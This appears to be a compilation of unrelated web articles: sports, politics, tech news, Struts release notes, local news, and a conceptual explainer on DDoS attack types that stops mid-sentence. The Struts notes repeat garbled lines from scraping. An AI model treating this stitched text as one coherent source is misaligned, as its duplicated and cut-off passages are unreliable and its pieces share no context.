-The Tavern reached out to Iranian football writer & podcaster Sina Saemian for his expertise on Team Melli ahead of tomorrow’s crucial World Cup qualifier. Read on for info about what’s changed since Korea’s defeat at the Azadi Stadium in November of 2014, his thoughts about the rumoured 3-4-3 shape for Korea, and clarification on the religious situation.  Our sides last met in November 2014, when Uli Stielike wanted to test his side in Iran at the Azadi. Although Korea played quite brightly, they couldn’t find the back of the net and a controversial Sardar Azmoun header was the difference. Tempers flared and frustration abounded – yet another Iranian win. Anyway, in broad terms, how have Iran changed since then?  Well, certainly in terms of style, there hasn’t been many drastic changes in Queiroz’s philosophy. His main focus in the past two years has been to introduce many new young players and give Iran a younger look. The retirement of veteran captain and midfielder, Javad Nekounam, really symbolised the end of an era and his immediate replacement was an 18 year old midfielder in Saeed Ezatollahi.  The Koreans will most certainly recognise many names in the starting line up such as Jalal Hosseini, Ashkan Dejagah and Andranik Teymourian, but there’ll also be some new blood that will feature such as Ramin Rezaeian, Morteza Pouraligsnji and Alireza Beiranvand. However, Queiroz’s approach to this game will be very similar to past games between the two countries, with much of the focus being on the defensive phase of the game, especially with South Korea being the highest goalscorers in the final qualifying round.  For those of us not in the Iranian football loop, everything’s a bit confusing. Carlos Quieroz, your Portuguese manager, is still around! Wasn’t he on his way out? What does he bring to the team / what is his philosophy?  Where do I start with this one?! Queiroz’s tenure as manager of Iran, since 2011, has been full of controversies. There is a lot of tension between him and the Sports Ministry, due to various issues. From low quality training kits, to a lack of training camps and friendlies. He continues to engage in media war with local coaches and managers, which certainly does him no favours. In 2013, he even had his little rivalry, if you want to call it that, with Choi Kanghee who was South Korea’s manager at the time, and his infamous celebration at the end of that 1-0 victory really set the tone for future games between the two countries, including the upcoming game.  He is a character that divides opinion within Iran. He has his strong supporters who believe he is absolutely the right man to take Iran forward, but he also has some hardcore critics who believe his “negative” tactics and antiques off the pitch bring no good to Iran. On the other hand, one thing is for sure, the players absolutely love him. All the players constantly show their support for him and praise him in all their interviews. He’s certainly got the players on his side and you can see the players thoroughly enjoy playing for him in every game.  How has qualifying gone so far?  It’s been a decent start so far. I think looking at the results, we are in a comfortable situation and we’ve put ourselves in a very healthy position to qualify for the 2018 World Cup.  But putting the results aside, the performances have been very below par. A 2-0 win against Qatar at home was only obtained once the Qatari goalkeeper decided to gift us a goal in the 93rd minute, before their whole team capitulated, and a dreadful performance in China resulted in a 0-0 vs the Chinese.  The 1-0 away victory against Uzbekistan was much much better, I think partly because the nerves had settled, we passed the ball around well and created chances, the home side didn’t have a single shot on target which is further proof to Iran’s solid defence.  How confident are you and Iranian supporters about a result in this match?  I think matches vs South Korea, in any competition or even friendly games, has its own excitement for the fans. The Iranian supporters have some good memories from our matches in the last few decades, and they are hopeful and confident that this match will be yet another positive memory. 3 clean sheets in a row, a team full of confidence, and also playing at the Azadi in front of our own supporters will certainly give us the edge going into this. But the media and fans alike, are aware of the threat South Korea poses. The likes of Son Heungmin and Ki Sungturns are very familiar names to the fans and they know the quality the South Koreans have.  A starting lineup prediction and a couple key players?  Carlos Queiroz named a very surprising line up against Uzbekistan on Thursday, with many of the first team players being rested. But I think we will see him going back to his usual starting 11. Alireza Beiranvand in goal, a back four of Ramin Rezaeian, Jalal Hosseini, Morteza Pouraliganji and Ehsan Hajsafi, in midfield there’ll be a return for captain Andranik Teymourian and he’ll play alongside Saeed Ezatollahi, Alireza Jahanbakhsh, Ashkan Dejagah and Vahid Amiri, with Sardar Azmoun leading the line. In terms of key players, of course Sardar Azmoun and Alireza Jahanbakhsh will be the names to look at certainly in attack.  But in my opinion Iran’s biggest threat in big games comes from set pieces, especially corners, so look out for Morteza Pouraliganji who is a good header of the ball and he’s proven that in the past. In terms of weaknesses, if Stielike has done his homework, he will most certainly target Iran’s right side of the defence. Ramin Rezaeian, who has featured as a regular right back in the past few games, is a very offensive full back but his defensive abilities are a concern and I’m sure the South Koreans will look to take advantage of that.  Are Iran still those same old, pesky defensive stalwarts of the 2014 qualifying campaign? What will Korea have to do (in your estimation) to beat this “Azadi jinx”?  Absolutely, Iran’s priority in every game under Queiroz has been to keep a clean sheet. So this game is no different, Queiroz would not want to lose this extremely important game, especially at home, so he will set his team up to nullify South Korea’s strong attack.  I’ve heard rumours that Stielike may be trying a back 3 in this game and I can somewhat understand that. China played a back 3 against Iran a month ago and Iran really struggled to break them down, Azmoun was really Isolated and the midfielders looked invisible going forward, so maybe such a formation may pay dividends.  But putting tactics aside, I think it’s all about mentality. The South Koreans need to play without fear, I know Azadi Stadium is intimidating when the fans are in full flow, but the players need to get over the atmosphere if they want to get a result. South Korea have a very, very good team and there’s no doubt that they have more than what it takes to take something from Tehran. But for me it’s all about mentality and approaching this game in the right manner.  Are you game for a score prediction? How do you think the game will pan out?  I’ve never met anyone worse than myself when it comes to score predictions! I think it’ll be a very tight game because it’s still early in the qualifiers and I don’t think either team would want to lose at this point, so in my opinion it may very well end up at 0-0 or 1-1. If I had to pick a winner I’d probably go for a 1-0 win for Iran and the goal coming from a set piece, as it has done in the past 3 meetings between these two teams in Tehran.  Oh, and one quick bonus questions. Our readers have been quite curious about this. It appears that this game is being held on a Shia day of mourning, Tasua. The Iranian embassy has instructed Korean supporters to wear dark colours and not cheer, while the religious clerics demanded the game be forfeited. What’s going on?  This is a very complicated matter. This week is a very important week in Iran in religious terms, which is why the IFF (Iranian Football Federation) contacted AFC over 2 months ago to try to postpone this game to another day. However, the AFC did not accept.  There’s been many debates amongst Iran’s religious leaders that this game should not take place. Fortunately for us, they don’t really make the decisions, so the game will go ahead. Rumours are that players maybe advised not to celebrate any goals in respect to the mourning ceremonies, and you may see black (religious) banners and flags within the stadium and fans, which have been organised from a few days ago by government officials.  I think if it was a game of less importance, it wouldn’t have mattered that much. But, since this is a huge game and tens of millions of people will watch the game across the country, it has caused some controversy from the clerics and religious leaders in Iran. They don’t want the attention to be on a football game during this week when there are important religious matters to be attended.  Thanks for this, Sina, and best of luck to Iran!  My pleasure!  Sharing = Fun Twitter  Facebook  Reddit  Email  Google  More  Print  Tumblr  LinkedIn  Pinterest
-A woman who shouted threats against the prime minister during question time has been escorted from parliament’s lower house.  Jan Olson was removed from the public gallery by security guards after shouting “and we’re coming after you!” in the chamber.  Ms Olson was later met by a group of Australian Federal Police officers outside.  She told AAP her threat was centred on Tony Abbott and related to documents she was denied under Freedom of Information about his birth certificate and legitimacy as prime minister.  The disturbance did not disrupt proceedings but comes amid heightened security at parliament house in response to the terror threat level.  US president Barack Obama faced the same birth conspiracies with rumours circulating during his presidency campaign that he was not a US citizen.  Theories allege that Obama’s published birth certificate is a forgery and that his actual birthplace is not Hawaii but Kenya according to Wikipedia. Other theories allege that Obama became a citizen of Indonesia in childhood, thereby losing his US citizenship. Others allege that Obama is not a natural-born U.S. citizen because he was born a dual citizen (British and American).  However many have called these theories racist and Obama has never succumbed to pressure to show his birth certificate.
-For Tesla Model X owners, the Mars/SpaceX-themed Easter Egg wasn’t the only hidden feature in the latest update that the automaker started to push this week. For Christmas last year, Tesla programmed the lights and Falcon Wing doors on three Model Xs to do a light show to the sound of the Wizards in Winter by Trans-Siberian Orchestra.  At the time, Tesla CEO Elon Musk said that the program will be an Easter Egg in the Model X, but it was never there until this week’s update.  Wizards in Winter by Trans-Siberian Orchestra has been a popular instrumental track for light shows since the 2005 internet phenomenon of Carson Williams’s 16,000 lights synchronized to the music.  Inspired by the feat, Tesla made its own light show using the Model X and its auto-presenting front doors and Falcon Wing doors.  To activate the new Easter Egg, Model X owners on the 8.0.2.50.15 software can enter “Holiday” as an ‘access code’ (holding the ‘T’ button for 5 seconds).  Update: Elon’s out with a good primer on the Easter Eggs:  To activate the Model X holiday performance, just type holidays or ModelXmas after pressing the logo. Also, Mars. pic.twitter.com/8Cy7YPlECX — Elon Musk (@elonmusk) December 24, 2016  The show will start after you exit the car, close all doors and press the lock button on the key fob. Tesla warns that the show “requires 6-feet of space above and around the vehicle.”  Some owners already released videos of the show:  This is the full version from Tesla staged with 3 Model X SUVs last year:  If you are interested in solar, we suggest you get quotes from more than one installer to make sure you get the best energy solution for your house or business. UnderstandSolar is a great free service to link you to top-rated solar installers in your region for personalized solar estimates for free.
-Las Vegas (CNN) Hillary Clinton and Bernie Sanders have been circling each other on electability for days, knocking one another from afar over which candidate stands a better chance to beat Republicans in November's general.  On Wednesday night in Las Vegas, they made their cases with the other candidate mere feet away.  "I am proud to be running in a Democratic primary with my opponents. They have a lot of good ideas and we share a lot of the same values," Clinton said with Sanders sitting at a dinner table nearby. "But your choice in the caucus really matters. On February 20th you will begin the process of choosing a president who has what it takes to stand up to the Republicans, to make a real difference for American families."  She then added, digging her critique a little deeper, "A president who can get the job done and not just on a few issue, but on all the complex challenges we face."  The comment was not taken kindly by Sanders supporters, many of whom booed the former secretary of state at points during her speech.  Sanders, speaking after Clinton at the dinner, responded in kind, teeing up his comment on electability by saying he wanted to be "clear" and "a little bit political" in his comments.  "All of us want to make sure that we defeat right wing extremism, that we make certain that no Republicans become president of the United States, all of us are united that we are going to take back the Senate and that we are going to do well all over this country," Sanders said. "But let me be very clear: That result will not happen with establishment politics and establishment economics. The only way that Democrats win elections, is when we have a large voter turnout."  Sanders supporters - keyed into the back and forth on electability - jumped to their feet at this comment. Clinton supporters did not, in part because many of them left after their candidate had finished speaking.  Clinton and Sanders were the main events at the dinner, but all three Democratic candidates - including former Maryland Gov. Martin O'Malley - tried to court their party's faithful at the Nevada Democrats "Battle Born/Battleground" First in the West Caucus Dinner.  But O'Malley, despite a more polished speech than past Democratic events, was largely an afterthought. While Clinton and Sanders supporters sat on opposing sides of the room, challenging each other to who could chant louder, O'Malley didn't have a noticeable cheering section.  Photos: Who's running for president? Ted Cruz, Donald Trump, John Kasich, Hillary Clinton and Bernie Sanders, Hide Caption 1 of 6 Photos: Who's running for president?  "So, ladies and gentlemen, I am officially running for president of the United States, and we are going to make our country great again," Trump told the crowd at his announcement. Businessman Donald Trump announced June 16 at his Trump Tower in New York City that he is seeking the Republican presidential nomination. This ends more than two decades of flirting with the idea of running for the White House."So, ladies and gentlemen, I am officially running for president of the United States, and we are going to make our country great again," Trump told the crowd at his announcement. Hide Caption 2 of 6 Photos: Who's running for president?  "These are all of our stories," Cruz told the audience at Liberty University in Virginia. "These are who we are as Americans. And yet for so many Americans, the promise of America seems more and more distant." Sen. Ted Cruz of Texas has made a name for himself in the Senate, solidifying his brand as a conservative firebrand willing to take on the GOP's establishment. He announced he was seeking the Republican presidential nomination in a speech on March 23."These are all of our stories," Cruz told the audience at Liberty University in Virginia. "These are who we are as Americans. And yet for so many Americans, the promise of America seems more and more distant." Hide Caption 3 of 6 Photos: Who's running for president? Ohio Gov. John Kasich joined the Republican field July 21 as he formally announced his White House bid.  "I am here to ask you for your prayers, for your support ... because I have decided to run for president of the United States," Kasich told his kickoff rally at the Ohio State University. Hide Caption 4 of 6 Photos: Who's running for president?  "Everyday Americans need a champion, and I want to be that champion -- so you can do more than just get by -- you can get ahead. And stay ahead," she said in her announcement video. "Because when families are strong, America is strong. So I'm hitting the road to earn your vote, because it's your time. And I hope you'll join me on this journey." Hillary Clinton launched her presidential bid on April 12 through a video message on social media. The former first lady, senator and secretary of state is considered the front-runner among possible Democratic candidates."Everyday Americans need a champion, and I want to be that champion -- so you can do more than just get by -- you can get ahead. And stay ahead," she said in her announcement video. "Because when families are strong, America is strong. So I'm hitting the road to earn your vote, because it's your time. And I hope you'll join me on this journey." Hide Caption 5 of 6 Photos: Who's running for president?  "This great nation and its government belong to all of the people and not to a handful of billionaires, their super PACs and their lobbyists," Sanders said at a rally in Vermont on May 26. Sen. Bernie Sanders , an independent from Vermont who caucuses with Democrats, announced his run in an email to supporters on April 30. He has said the United States needs a "political revolution" of working-class Americans to take back control of the government from billionaires."This great nation and its government belong to all of the people and not to a handful of billionaires, their super PACs and their lobbyists," Sanders said at a rally in Vermont on May 26. Hide Caption 6 of 6  Divided into camps  The audience was largely made up of decided voters. Campaigns gave supporters tickets to to the event and supplied them with different cheering paraphernalia. Clinton's supporters waved their now-common blue glow sticks, while Sanders' backers blew air-horns and hummed into vuvuzelas, the horns that became known for their annoying buzz during the 2010 World Cup.  "That music is really beautiful," Sanders said sarcastically to his supporters, before motioning for them to tone it down.  The argument over whether Clinton or Sanders is most electable has been playing out for the last three days on the Democratic side of the presidential campaign.  Touring through New Hampshire and Iowa, Clinton stressed her experience and her ability to hit the ground running if she were to win in November. She also urged her supporters to think about what a Republican presidency would be like, and cast her self as the best Democrat to stop that possibility.  "Let me ask you all to think hard about this job that you are interviewing for," Clinton said Tuesday night in Council Bluffs. "Think hard about the people who are presenting themselves to you, their experience, their qualifications, their positions, but particularly for those of us who are Democrats, their electability."  This comments annoyed Sanders aides - and the candidate.  Michael Briggs, Sanders' spokesman, quickly issued a statement in response to Clinton that questioned her ability to generate enough excitement to beat someone like Republican frontrunner Donald Trump.  And when asked by CNN on Wednesday - before his dinner speech - whether he is more electable than Clinton, the senator bluntly said, "Yes," before explaining how he polls better than Clinton in certain head to head polls.  And the candidate's supporters have taken note, too.  When asked, a handful of Sanders supporters almost unanimously said they were confident in their candidate's electability, even if it wasn't a reason they were backing the Vermont senator.  "I doesn't concern me at all," Sean Dolstad, a graphic designed from Las Vegas, said bluntly, reflecting what many of his Sanders supporting brethren said on Wednesday.  Clinton supporters, on the other hand, said their candidate's electability was a top reason they were supporting her, especially given the state of the Republican field.  "It matters tremendously," said Linda Overbey, a union member from Las Vegas. "I want to win, because for me, Donald Trump is a moron."
-These are the notes for the Struts 2.3.16 distribution.  For prior notes in this release series, see Version Notes 2.3.15.3  If you are a Maven user, you might want to get started using the Maven Archetype.  Another quick-start entry point is the blank application. Rename and deploy the WAR as a starting point for your own development.  Maven Dependency  org.apache.struts struts2-core 2.3.16   You can also use Struts Archetype Catalog like below  Struts Archetype Catalog mvn archetype:generate -DarchetypeCatalog=http://struts.apache.org/  Staging Repository   apache.nexus ASF Nexus Staging https://repository.apache.org/content/groups/staging/    Internal Changes  Merged security fix from version 2.3.15.1, 2.3.15.2 and 2.3.15.3  Merged security fix from version 2.3.15.1, 2.3.15.2 and 2.3.15.3 Defined new factory interfaces to simplify extending ObjectFactory, see WW-4158  New interface ParamNameAwareResult was defined, see WW-4144  was defined, see WW-4144 Solved problem with global "error" result in the Convention Plugin, see WW-4100  Solved problem with global "error" result in the Convention Plugin, see WW-4100 RolesInterceptor was extended to allow check defined roles and also precedent was changed that disallowedRoles are examined in the first place, see WW-4118  are examined in the first place, see WW-4118 New parameter was added to  tag to allow suppress empty parameters, see WW-4088  tag to allow suppress empty parameters, see WW-4088 During devMode user can explicit disable XML reloading, I18N reloading and any other, see devMode page  user can explicit disable XML reloading, I18N reloading and any other, see devMode page The action: and method: prefixes are be by default excluded and changed order to first check excludeParams and then acceptedParams in ParametersInterceptor, see WW-4023  The and prefixes are be by default excluded and changed order to first check and then in ParametersInterceptor, see WW-4023 Restored previous behaviour where both ParamatersInterceptor AND ParameterNameAware must accept parameter - there is no more precedence  Restored previous behaviour where both AND must accept parameter - there is no more precedence Added proper support for multiple ActionMapper 's used with PrefixBasedActionMapper , see PrefixBasedActionMapper and WW-4131  Added proper support for multiple 's used with , see PrefixBasedActionMapper and WW-4131 New DeprecationInterceptor was added, to warn users about unknown/deprecated options, see WW-4232   tag was improved and now works properly under Jetty, see WW-4223  tag was improved and now works properly under Jetty, see WW-4223 New PostbackResult was defined, see WW-4229  Improved extending theme mechanism to allow override single template in parent theme, see WW-4145 and Extending Themes  Solved problem with creating empty map entries via Ognl, see WW-3603  Solved problem with creating empty map entries via Ognl, see WW-3603 org.apache.struts2.views.TagLibrary was split into two separated interfaces to allow moving Velocity support into plugin, see was split into two separated interfaces to allow moving Velocity support into plugin, see WW-4243  and other small improvements  Issue Detail  Issue List  Other resources
-Rolling blackouts across Darwin continued on Thursday night following a problem with gas supply to the Channel island Power Station, but authorities expect the power supply will gradually return to normal.  The NT Government issued a statement at about 8pm on Thursday night that said: “Eni has advised that gas flow from Blacktip has been restored and it is hoped that power will gradually return to normal across the Darwin and Katherine regions later tonight.  “This means it is business as usual from tomorrow and there will be no closures of schools or public service buildings.  “Public buses will run as usual tomorrow.  “At this stage, rolling outages are expected to run for a few more hours, with outages expected to last no longer than approximately one hour at a time in any one location.”  A widespread blackout hit parts of Palmerston and Casuarina on Thursday afternoon.  Rolling blackouts affected large parts of the Top End throughout the afternoon and evening. During the gas shortage generators at the Channel Island Power Station were run on both diesel and residual gas in the pipeline.  The Minister for Essential Services Willem Westra van Holthe said the scheduled stoppages were necessary to stretch fuel resources as far as possible and most customers were not affected for more than an hour.  “This approach meant minimal disruption to customers despite great uncertainty about when eni would be able to restore gas flow from the Blacktip Well. It was prudent to manage the response to the loss of gas in a manner that sustained generation capacity as long as possible,” he said.  He also thanked Territorians for their cooperation in dealing with the disruption to electricity supply, and Santos and Conoco Phillips for “securing additional gas supplies as part of our response to manage this failure of the eni well.”  Schools across Darwin and Katherine will be open on Friday and public servants will be working as usual.  POWER OUTAGES ON THURSDAY EVENING  The following suburbs and areas are expected to experience power outages at around 9pm:  - Nightcliff  - Bagot Road  - Rapid Creek  - Humpty Doo shops  - Howard Springs  - Coolalinga shops  - Stuart Park  - Hidden Valley  - Berrimah  - Harvey Norman area  - Farrar  - Zuccoli  - Johnston  - Mitchell Creek  The following suburbs and areas are expected to experience power outages at around 10pm:  - Pinelands  - Yarrawonga  - Ludmilla  - Coconut Grove  - Berrimah  - Stuart Hwy  - Vanderlin Dr  - Robertson Barracks  - Shoal Bay  - Gunn  - The Chase  - Farrar Medical Centre  - Moil  - Wagaman  - Yarrawonga  No further outages are expected following the 10pm shutdown to the suburbs listed above.
-Arkansas state Senator Jason Rapert took to Facebook to suggest that the best way to “quickly turn things around” in territory captured by Islamic State extremists would be a “strategically placed nuclear weapon.”  “With ISIS spreading all over the Middle East and Africa and Islamic Extremists carrying out violence in Europe, the United Kingdom and even in the United States, I wonder why the civilized world just sits by when we have weapons that could wipe out these barbarians where they are concentrated?” he asked.  “I believe,” Rapert continued, “it is time to annihilate the strongholds and pursue the rest till we have them all captured or killed. A strategically placed nuclear weapon would save the lives of our soldiers and quickly turn things around.”  “It is time for the insanity to be stopped.”  It is unclear in the borders of which nominal United States ally Rapert believes this nuclear weapon should be “strategically placed,” but there is no scenario in which fallout from a nuclear explosion would not endanger lives in staunch U.S. allies like Israel.  Earlier today, Rapert took to Twitter to claim that opposition to his plan indicates that “liberals love ISIS”:  Seems liberals even love ISIS more than stopping them cold in their tracks. They truly amaze me with their anti-American arguments. Bizarre. — Sen. Jason Rapert (@jasonrapert) February 16, 2015  View his entire Facebook post below.
-When you have an abundance of attention [1], it’s very easy to ignore any one person in this craze and chaos. Say, you were lucky enough to have the privilege to give a talk to an audience of 200 people on the topic you’re both knowledgeable and enthusiastic about. The talk generates a lot of attention and lots of people start coming to you with questions or requests for photographs. Having been on both sides of the table, I first-hand know how easy it is to take this attention for granted and not give your full focus (and attention!) to any single person approaching you. It’s the trap of maximizing the width (of your reach) forgetting about something way more valuable — the depth of the connections you make. Be mindful, and don’t fall into the trap of this proverbial busy loner.  As the speaker, you should be ungodly thankful (at least I am!) that even one person cared enough to approach you. One of the hardest things in this noisy world bombarding us with new and more exciting information is having someone’s attention. If you have it, don’t blow it. Be respectful. Don’t even try to think that by ignoring this one person or half-assing your answer to her, nothing changes in the big scheme of things. In fact, everything changes — it’s the tiny drops which make up the vast and endless ocean. If you’re starting to fall in the direction of this poisonous mindset, observe it and don’t’ let that happen. As the creator of Gmail Paul Buchheit famously noted, ‘It’s better to make 100 people happy than to make 1,000,000 people sort of happy’.  If you’re part of an audience, listen carefully and take notes of the thoughts you found the most surprising or worth remembering. Even jot down your one phrase reactions to them if you have a moment to spare. But don’t just listen, engage, ask questions to deepen your understanding. Approach the speaker if you have the burning thought on the subject. Hell — approach the speaker even if you don’t have anything other than ‘Thank you. That was a super insightful talk!’ to say. Do what you’re most fearful of. That tends to lead to growth. And if something brings you to higher state of consciousness, why not to take it? Even if the speakers, you approached, are clearly sloppy about their engagement with the audience (caring about width, not depth) [2], don’t blame them — they’ll eventually realize. Just don’t repeat the same mistake. Go for depth, not breadth.  Notes  [1] Common thing at conferences.  [2] Based on a few interactions and many talks I watched, notable author and former Apple evangelist, Guy Kawasaki (in the photo above) is clearly guilty of that. More often than not, he cuts off the people asking the questions and approaches the book signing or smiling in pictures as the conveyor belt. A bit hypocritical coming from the author of “Enchantment: The Art of Changing Hearts, Minds, and Actions”. No judgements, just saying ;) Let’s write it off to his tiredness, age and, honestly, simply unbearable ‘width’ to support. He’s a great Guy — and that’s what matters.
-New York Yankees star Didi Gregorius believes talented Kiwi kids should be dreaming big and aiming for a Major League Baseball career.  The 26-year-old shortstop – who had scores of budding baseballers enthralled at a coaching clinic in Christchurch on Tuesday – is living proof that players can reach the big leagues from outside the United States.  Gregorius was born in Amsterdam but grew up in Curaçao, a southern Carribean island with a population of around 158,000.  1 of 6 ALDEN WILLIAMS/FAIRFAX NZ New York Yankees shortstop Didi Gregorius Didi Gregorius, who earned NZ$3.4 million with the Yankees in 2016, believes New Zealanders' softball prowess would allow them to quickly transition to baseball. 2 of 6 ALDEN WILLIAMS/FAIRFAX NZ Jai Pouaka-Grego, 8, during the baseball skills clinic lead by New York Yankees shortstop Didi Gregorius. 3 of 6 ALDEN WILLIAMS/FAIRFAX NZ Didi Gregorius chats with his young fans. 4 of 6 ALDEN WILLIAMS/FAIRFAX NZ Didi Gregorius inspects the form of one of the junior players. 5 of 6 ALDEN WILLIAMS/FAIRFAX NZ Didi Gregorius runs the juniors through a drill. 6 of 6 ALDEN WILLIAMS/FAIRFAX NZ New York Yankees shortstop Didi Gregorius.  The 1.9m tall left-handed hitter, who hit a career-best 20 home runs in 2016, said his career is proof "you can go a long way with baseball".  READ MORE: Yankees SS Gregorius to hold clinics in New Zealand  ALDEN WILLIAMS/FAIRFAX NZ New York Yankees shortstop Didi Gregorius said his career is proof "you can go a long way with baseball".  "You can get an opportunity to go to the States and go to college and play baseball and study," he said.  Gregorius, who earned NZ$3.4 million with the Yankees in 2016, believes New Zealanders' softball prowess would allow them to quickly transition to baseball.  "You're already doing the sport; the only thing's different is you're throwing under-hand [in softball], now you've got to go on top [and pitch overhand in baseball].  ALDEN WILLIAMS/FAIRFAX NZ New York Yankees shortstop Didi Gregorius coached a skills clinic with junior baseball players at Avonhead Park on Tuesday.  "There's a lot of talent here to play baseball."  Gregorius grew up playing football, basketball and baseball and was also a competitive swimmer, but he chose baseball as a pro career, "because it's in my blood".  His father Johannes Sr, brother Johannes Jr and grandfather Antonio were baseball pitchers and his mother, Sheritsa Stoop, who is in New Zealand with him, played on the Dutch national softball team.  He signed after high school for the Cincinnati Reds and first played in their farm system in 2008, working his way through the minor leagues to Major League Baseball in 2012.  Gregorius then had two seasons with the Arizona Diamondbacks but was signed by the Yankees in 2014 after legendary Yankees shortstop Derek Jeter ended a stellar 20-year career.  He will start his third season in New York in 2017 and said it was "an honour to play in the [Yankee] pinstripes."  Gregorius had a highly respectable .276 average in the 2016 season, hit 20 home runs and produced 76 RBIs (runs batted in) and is renowned for his athletic fielding.  But he said winning a World Series ring was his ultimate aim. "The ring is the thing..."  Gregorius, who is being hosted by Baseball New Zealand, enjoyed a visit to Christchurch's new Adventure Park on Tuesday. He will hold another clinic at Avonhead Park on Wednesday afternoon before moving on to Auckland and Wellington.
-Yuru Yuri Trading Card Game [English]  Staying true to the description of the site, yes we do have content about trading cards. But not Japanese trading cards so much. More of our tcg content will be made up of custom cards I make using art from anime series.  My latest project, as you can see, is a battling sort of tcg based off of characters from the Yuru Yuri series. After subbing the show I just fell in love with it. The cards combine grapuics and stats made up by me combined with screen caps from the episodes.  Anyway, what this post is meant to do is just introduce the card game and see if it garners any interest. Usually, whenever I post about my trading cards, they don’t attract much attention at all. So depending on what happens, I may or may not continue to pursue this endeavor.  Advertisements
-New law lets teens delete digital skeletons  State Senate President Pro Tem Darrell Steinberg authored the bill to let minors request that online posts be scrubbed. State Senate President Pro Tem Darrell Steinberg authored the bill to let minors request that online posts be scrubbed. Photo: Rich Pedroncelli, Associated Press Photo: Rich Pedroncelli, Associated Press Image 1 of / 1 Caption Close New law lets teens delete digital skeletons 1 / 1 Back to Gallery  Remember that dance-party photo you regretted posting online? How about the time you over-shared your feelings about your ex or made that comment about Barack Obama?  All forever etched in the annals of the Internet.  Well, maybe not - at least if you're under 18.  Legislation signed by Gov. Jerry Brown on Monday will require Web companies, starting in 2015, to remove online activity - whether it be scandalous or simply embarrassing - should a California minor request it.  The thinking, say supporters of the new "eraser" law, is that boys will be boys (and girls, well, girls) and that the indiscretions of youth shouldn't haunt them down the road.  "Kids so often self-reveal before they self-reflect," said James Steyer, founder of Common Sense Media, a nonprofit group in San Francisco that advocated for the law. "Mistakes can stay with teens for life, and their digital footprint can follow them wherever they go."  The bill, authored by state Senate President Pro Tem Darrell Steinberg, D-Sacramento, pushes lawmakers deeper into the sticky debate over online privacy. As social media soars in popularity and Web companies cull more and more information about people's lives, questions continue to be raised about what Internet firms should and should not be doing with the data.  Small win for privacy  California already allows certain people, such as victims of domestic violence, to get information struck from the online record. And a pioneering 10-year-old state law requires companies to let visitors to their websites know what information they're collecting - and whom they're sharing it with.  A recently introduced amendment to that law, which is now in the hands of the governor, would force these companies to state whether they honor do-not-track requests that users make in their Internet browsers.  If the eraser law is a win for online privacy, it's a small one. The legislation has its limitations: Teens won't have absolute certainty that Mom and Dad - or college admissions officers or future employers - won't see their photo at a keg party, even if they ask for the photo to be removed.  If the underage drinking picture is posted by someone else, for example, it's not covered by the law. If the image is copied and posted to another Web site, that would not be covered, either.  Web companies also are not required to scrub their servers clean of personal data, just remove the requested item from public viewing. Under the law, sites can offer ways for users to make the redaction directly, or provide an avenue for users to request one.  Doesn't extend to adults  There's an additional catch: the law doesn't extend to adults who want to go back and delete material they posted as minors.  Many companies, such as Facebook and Twitter, already allow users to remove their posts.  Another facet of the new law, which may have a broader effect, bars Web companies and firms that deal in mobile apps from marketing products that are illegal for minors - such as alcohol, cigarettes and firearms - if they know, or should know, a minor is logged in. The companies also are not allowed to provide identifying information on minors to vendors of these products.  Opponents of Steinberg's legislation don't take issue with the new law's intent - to protect children. But they say it's not a productive solution.  The Center for Democracy and Technology in Washington, D.C., which works for freedom on the Internet, said burdensome restrictions could deter Web companies from creating content for children and even prompt sites to ban minors entirely.  Potential problems  "There's going to be a barrier to new and innovative services that want to target an audience of minors," said Emma Llansó, an attorney with the Center for Democracy and Technology.  Another potential problem, opponents say, is that California will have a different policy than other states, creating a patchwork of regulation that could be difficult for the industry to navigate.  Similar legislation on children's online privacy has been put forth at the federal level but has failed to gain traction. Federal law already limits the information Web companies can collect from those under the age of 13 but not for older children. And it does not include an eraser clause.  Steinberg praised the governor's approval of his law Monday as "groundbreaking protection" for kids.  OK with these teens  Outside San Francisco's Galileo High School, many students said the law sounded like a good idea. They said they might appreciate a chance to make a fresh start, digitally speaking, after they turn 18.  "As a youth, you make a bunch of mistakes," said Alicia Cabral, 17. "If you put it on the Internet, it follows you everywhere."  Her friend, 15-year-old Diana Cortez, added that caution is still in order.  Even if you make sure not to post photos of yourself, you can't stop your friends from doing so, she said. "If you use drugs and there are pictures of you doing that and you apply for a job, you won't get hired."
-Do you hear horror stories of China attacking services you use or of 4Chan taking out services with their Low Orbit Ion Cannon? After hearing stories like that, do you think, “Wait. What?” or, “How does this even work?” or even, “Why can random people take down other people’s websites?” Then this is the article for you.  I’m here to attempt to explain the world of denial-of-service attacks, and to offer some strategies for survival in this complicated Internet world.  What is a DDoS?  A DDoS is a Distributed Denial-of-Service attack. These attacks are happening constantly on the Internet, wars initiated by humans and played out by computers attacking other computers, hoping to make targeted computers inaccessible or overloaded.  The Digital Attack Map, built collaboratively by Google Ideas and Arbor Networks, displays a snapshot of Internet attack activity at any one time. Particularly interesting is the gallery, which shows a bunch of exciting days on the Internet.  One of my recent favorites is from April 16, 2014, described as, “Volumetric attacks targeting Poland with sustained levels of over 100 Gbps.” I haven’t taken the time to figure out why this attack happened (because often such things don’t make the news, nor does it matter), but it’s interesting to know that so much data is being thrown around. For reference, there are eight gigabits in a gigabyte, so one hundred gigabits per second is twelve and a half gigabytes of data. A 720p Blu-ray movie rip is approximately six and a quarter gigabytes in size (movies are often in the four- to ten-gigabyte range), so someone was pushing two entire movies every second to computers based in Poland.  The Digital Attack Map actually has a fantastic Understanding DDoS page. It includes a few videos on how to use the site, what each part of the site means, and what DDoS is.  The key point is that these attacks can come from any type of network connection. When I talk about defenses, this will be important. But first, let’s talk about the main types of attacks using the names that the Attack Map uses.  TCP connection attacks The Transmission Control Protocol, commonly known as TCP, is the networking protocol of the Internet. It provides reliable, ordered and error-checked delivery of data in the form of packets (unlike UDP). However, TCP connections can be made by attackers to never close, and computers (such as load balancers, HTTP servers, and routers) have a limited number of connections they can keep open. So if someone can take and hold the connections your computer has available to connect to others, others will not be able to connect to you.  Volumetric attacks A volumetric attack (relating to volume, or how much stuff a three-dimensional object can contain) is what it sounds like. Your network connection is like a pipe (joke) that can only transport a certain amount of data at once. Also, your computer can only process a finite amount of data at once. So if someone starts sending lots of bits to your computer, a couple of different things can happen. Either responses will start to slow down as your computer takes more and more time to process the large requests, or the network connection will slow down because the bandwidth between your server and the Internet is diminished by traffic congestion.  Fragmentation attacks Remember how I said TCP “provides reliable, ordered and error-checked delivery of data”? Well, an attacker can purposely send bad data. Some examples are SYN Floods, PING Floods and Teardrop Attacks, among many others. These attacks look different depending on their implementation, but they follow the high-level idea of forcing the target computer to spend an abnormally large amount of time repairing incoming data. A metaphorical example is: Imagine if every time you ordered something on Amazon, instead of getting the actual thing, you got a disassembled Lego kit with no instructions that could 